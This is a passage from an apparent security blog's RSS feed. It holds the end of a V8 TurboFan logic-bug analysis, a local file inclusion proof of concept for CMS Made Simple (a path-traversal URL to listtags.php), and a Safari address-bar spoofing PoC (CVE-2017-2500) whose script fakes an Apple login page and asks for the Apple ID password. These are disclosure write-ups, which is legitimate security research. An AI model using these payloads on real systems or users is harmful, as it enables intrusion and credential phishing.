class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">const Operator* RepresentationChanger::Uint32OperatorFor(</span><br><span class="line"> IrOpcode::Value opcode) &#123;</span><br><span class="line"> switch (opcode) &#123;</span><br><span class="line"> case IrOpcode::kNumberAdd:</span><br><span class="line"> return machine()-&gt;Int32Add();</span><br><span class="line"> case IrOpcode::kNumberSubtract:</span><br><span class="line"> return machine()-&gt;Int32Sub();</span><br><span class="line"> case IrOpcode::kSpeculativeNumberMultiply:</span><br><span class="line"> case IrOpcode::kNumberMultiply:</span><br><span class="line"> return machine()-&gt;Int32Mul();</span><br><span class="line"> case IrOpcode::kSpeculativeNumberDivide:</span><br><span class="line"> case IrOpcode::kNumberDivide:</span><br><span class="line"> return machine()-&gt;Uint32Div();</span><br><span class="line"> case IrOpcode::kSpeculativeNumberModulus:</span><br><span class="line"> case IrOpcode::kNumberModulus:</span><br><span class="line"> return machine()-&gt;Uint32Mod();</span><br><span class="line"> case IrOpcode::kNumberEqual:</span><br><span class="line"> case IrOpcode::kSpeculativeNumberEqual:</span><br><span class="line"> return machine()-&gt;Word32Equal();</span><br><span class="line"> case IrOpcode::kNumberLessThan:</span><br><span class="line"> case IrOpcode::kSpeculativeNumberLessThan: &lt;&#x3D;&#x3D;&#x3D;here</span><br><span class="line"> return machine()-&gt;Uint32LessThan();</span><br><span class="line"> case IrOpcode::kNumberLessThanOrEqual:</span><br><span class="line"> case IrOpcode::kSpeculativeNumberLessThanOrEqual:</span><br><span class="line"> return machine()-&gt;Uint32LessThanOrEqual();</span><br><span class="line"> case IrOpcode::kNumberClz32:</span><br><span class="line"> return machine()-&gt;Word32Clz();</span><br><span class="line"> case IrOpcode::kNumberImul:</span><br><span class="line"> return machine()-&gt;Int32Mul();</span><br><span class="line"> default:</span><br><span class="line"> UNREACHABLE();</span><br><span class="line"> &#125;</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><p>Therefore node #46 is converted to Uint32LessThan</p><p><strong>4)</strong>Vulnerability trigger: EarlyOptimization stage</p><p>Enter the code src/compiler/machine-operator-reducer.cc logic</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">case IrOpcode::kUint32LessThan: &#123;</span><br><span class="line"> Uint32BinopMatcher m(node);</span><br><span class="line"> if (m.left().Is(kMaxUInt32)) return ReplaceBool(false); &#x2F;&#x2F; M &lt; x &#x3D;&gt; false</span><br><span class="line"> if (m.right().Is(0)) return ReplaceBool(false); &#x2F;&#x2F; x &lt; 0 &#x3D;&gt; false</span><br></pre></td></tr></table></figure><p>Since the right input node of node #46 (i.e. z&lt;0 in PoC) is 0, the m.right().Is(0) condition is satisfied, and the result of the expression is judged to be false.</p><h5 id="Analysis-of-the-reason-why-the-foo-false-function-is-executed-as-False-after-optimization"><a href="#Analysis-of-the-reason-why-the-foo-false-function-is-executed-as-False-after-optimization" class="headerlink" title="Analysis of the reason why the foo(false) function is executed as False after optimization:"></a>Analysis of the reason why the foo(false) function is executed as False after optimization:</h5><p>Combined with the analysis in the second step, after turbofan optimization, the expression z&lt;0 is incorrectly judged as false, so the foo(false) function returns false.</p><h3 id="Vulnerability-Summary"><a href="#Vulnerability-Summary" class="headerlink" title="Vulnerability Summary"></a>Vulnerability Summary</h3><p>This vulnerability is a typical logic vulnerability caused by the turbofan optimization process. It is relatively easy to debug and is suitable for V8 beginners. Understanding it through the source code will have a good effect. V8 has many similar vulnerabilities in recent years, such as crbug.com/880207. If you are interested, you can go to debug and learn.</p><p>If there are any inappropriate parts in the text, please correct me. We welcome your comments.</p><h3 id="Reference-Links"><a href="#Reference-Links" class="headerlink" title="Reference Links"></a>Reference Links</h3><p>[1]Modern attacks on the Chrome browser: optimizations and deoptimizations: <a href="https://buaq.net/go-45470.html" target="_blank" rel="noopener">https://buaq.net/go-45470.html</a></p><p>[2] Vulnerability fix code: <a href="https://chromium.googlesource.com/v8/v8.git/+/ba1b2cc09ab98b51ca3828d29d19ae3b0a7c3a92" target="_blank" rel="noopener">https://chromium.googlesource.com/v8/v8.git/+/ba1b2cc09ab98b51ca3828d29d19ae3b0a7c3a92</a></p>]]>
      </content:encoded>
    </item>
    <item>
      <title>
        <![CDATA[Local file inclusion in cmsmadesimple <=2.2.1]]>
      </title>
      <link>https://lightrains.org/2017/05/22/local-file-inclusion-in-cmsmadesimple/</link>
      <description>
        <![CDATA[<h2 id="Description"><a href="#Description" class="headerlink" title="Description:"></a>Description:</h2><p>The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs]]>
      </description>
      <author>Wester</author>
      <category domain="https://lightrains.org/tags/cmsmadesimple/">cmsmadesimple</category>
      <pubDate>Mon, 22 May 2017 11:00:41 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h2 id="Description"><a href="#Description" class="headerlink" title="Description:"></a>Description:</h2><p>The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.</p><h2 id="Proof-of-concept"><a href="#Proof-of-concept" class="headerlink" title="Proof of concept"></a>Proof of concept</h2><p>cmsmadesimple &lt;=2.1.6<br>The vulnerability exists in /cmsms/admin/listtags.php Line 82 and line 54</p><p><img src="/images/posts/cms-vuln-code.png" alt="CMSMadeSimple Vulnerability Code"><br><img src="/images/posts/cms-listtags.png" alt="CMSMadeSimple listtags.php"></p><p>If there is a file named “1.phpinfo.php” existed in <a href="http://127.0.0.1/1.phpinfo.php" target="_blank" rel="noopener">http://127.0.0.1/1.phpinfo.php</a><br>So when we visit the following link:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http:&#x2F;&#x2F;127.0.0.1&#x2F;cmsms&#x2F;admin&#x2F;listtags.php?_sk_&#x3D;08852e62af02bc03&amp;action&#x3D;showpluginhelp&amp;plugin&#x3D;phpinfo&amp;type&#x3D;..&#x2F;..&#x2F;1</span><br></pre></td></tr></table></figure><p>You would find out you has include this file successfully!‌</p><p><img src="/images/posts/cms-file-inclusion.png" alt="File Inclusion Successful"></p><ul><li>cmsmadesimple &lt;=2.2.1</li></ul><p>Current version is still vulnerable.</p><p><img src="/images/posts/cms-version-check.png" alt="CMSMadeSimple Version Check"></p><p>Disclosure Timelines</p><ul><li>2017/2/7 Provide vulnerability(2.1.6) detail to vendor but no reply</li><li>2017/6/16 cmsmadesimple update to 2.2.1 and no reply at all</li><li>2017/6/28 Public disclosure</li></ul>]]>
      </content:encoded>
    </item>
    <item>
      <title>(CVE-2017-2500)Address bar spoofing on macOS Safari</title>
      <link>https://lightrains.org/2017/02/25/cve-2017-2500/</link>
      <description>
        <![CDATA[<h2 id="Affected-Products"><a href="#Affected-Products" class="headerlink" title="Affected Products"></a>Affected Products</h2><p>Safari &lt;10.1.1 on macOS</p>
<h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><p>When we input an URL including a]]>
      </description>
      <author>Wester</author>
      <category domain="https://lightrains.org/tags/Apple-safari/">Apple safari</category>
      <pubDate>Sat, 25 Feb 2017 11:00:41 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h2 id="Affected-Products"><a href="#Affected-Products" class="headerlink" title="Affected Products"></a>Affected Products</h2><p>Safari &lt;10.1.1 on macOS</p><h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><p>When we input an URL including a special port or visit a domain which exists in DNS record but cannot access anymore (such as “<a href="http://www.apple.com:1234&quot;">http://www.apple.com:1234&quot;</a> or “<a href="http://access.apple.com&quot;" target="_blank" rel="noopener">http://access.apple.com&quot;</a>), Safari will try its best to load this address, so address bar spoofing could occur during the loading time!</p><p>Proof of concept</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;</span><br><span class="line">function spoof()&#123;</span><br><span class="line"></span><br><span class="line">document.write(&quot;&lt;title&gt;Apple login&lt;&#x2F;title&gt;&lt;h1&gt;Trust me!This is apple.com!&lt;&#x2F;h1&gt;&quot;);</span><br><span class="line"></span><br><span class="line">window.location.assign(&quot;http:&#x2F;&#x2F;www.apple.com:1234&quot;);</span><br><span class="line">&#x2F;&#x2F;or you can use the following script:</span><br><span class="line">&#x2F;&#x2F;window.location.assign(&quot;http:&#x2F;&#x2F;access.apple.com&quot;);</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line">setInterval(spoof(),2000);</span><br><span class="line">setTimeout(function()&#123;</span><br><span class="line">    prompt(&#39;Checking your appid password:&#39;);</span><br><span class="line">&#125;,6000);</span><br><span class="line">&lt;&#x2F;script&gt;</span><br></pre></td></tr></table></figure><p><img src="/images/posts/safari-spoofing-poc.png" alt="Safari Address Bar Spoofing PoC"></p><h2 id="Disclosure-Timelines"><a href="#Disclosure-Timelines" class="headerlink" title="Disclosure Timelines"></a>Disclosure Timelines</h2><p>2017/2/7 Provide vulnerability detail to APPLE via <a href="mailto:product-security@apple.com">product-security@apple.com</a><br>2017/4/26 Apple fix it in Safari 10.1.1<br>2017/5/12 CVE-2017-2500 assigned.</p><h2 id="Credit"><a href="#Credit" class="headerlink" title="Credit"></a>Credit</h2><p>This vulnerability was discovered by Zhiyang Zeng and Yuyang Zhou of Tencent Security Platform Department.</p>]]>
      </content:encoded>
    </item>
  </channel>
</rss>
